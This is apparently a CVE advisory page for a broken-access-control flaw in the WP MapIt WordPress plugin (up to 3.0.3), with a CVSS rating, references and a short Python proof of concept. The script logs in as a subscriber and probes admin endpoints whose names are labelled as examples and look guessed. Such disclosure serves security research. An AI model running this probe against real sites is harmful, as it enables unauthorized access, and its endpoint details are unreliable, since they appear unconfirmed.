CVE-2026-22466

Description

Missing Authorization vulnerability in Chandni Patel WP MapIt wp-mapit allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP MapIt: from n/a through <= 3.0.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP MapIt <= 3.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-22466 PoC - WP MapIt Broken Access Control
# Target: WordPress site with WP MapIt plugin <= 3.0.3

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-site.com'

# Authentication required (low-privilege user)
username = 'subscriber'
password = 'userpassword'

# Login to WordPress
session = requests.Session()
login_url = f'{target}/wp-login.php'
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In'
}

session.post(login_url, data=login_data)

# Exploit: Access admin-only functionality without proper authorization
# Example: Trigger map-related admin action
vulnerable_endpoints = [
    '/wp-admin/admin-ajax.php?action=wp_mapit_admin_action',
    '/wp-json/wp-mapit/v1/admin/settings'
]

for endpoint in vulnerable_endpoints:
    url = target + endpoint
    response = session.get(url)
    if response.status_code == 200:
        print(f'[+] Vulnerable endpoint found: {url}')
        print(f'[+] Response: {response.text[:500]}')

print('[+] Testing complete - Check for unauthorized access')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22466
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22466
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22466/
[4] VulDB https://vuldb.com/cve/CVE-2026-22466
[5] https://patchstack.com/database/Wordpress/Plugin/wp-mapit/vulnerability/wordpress-wp-mapit-plugin-3-0-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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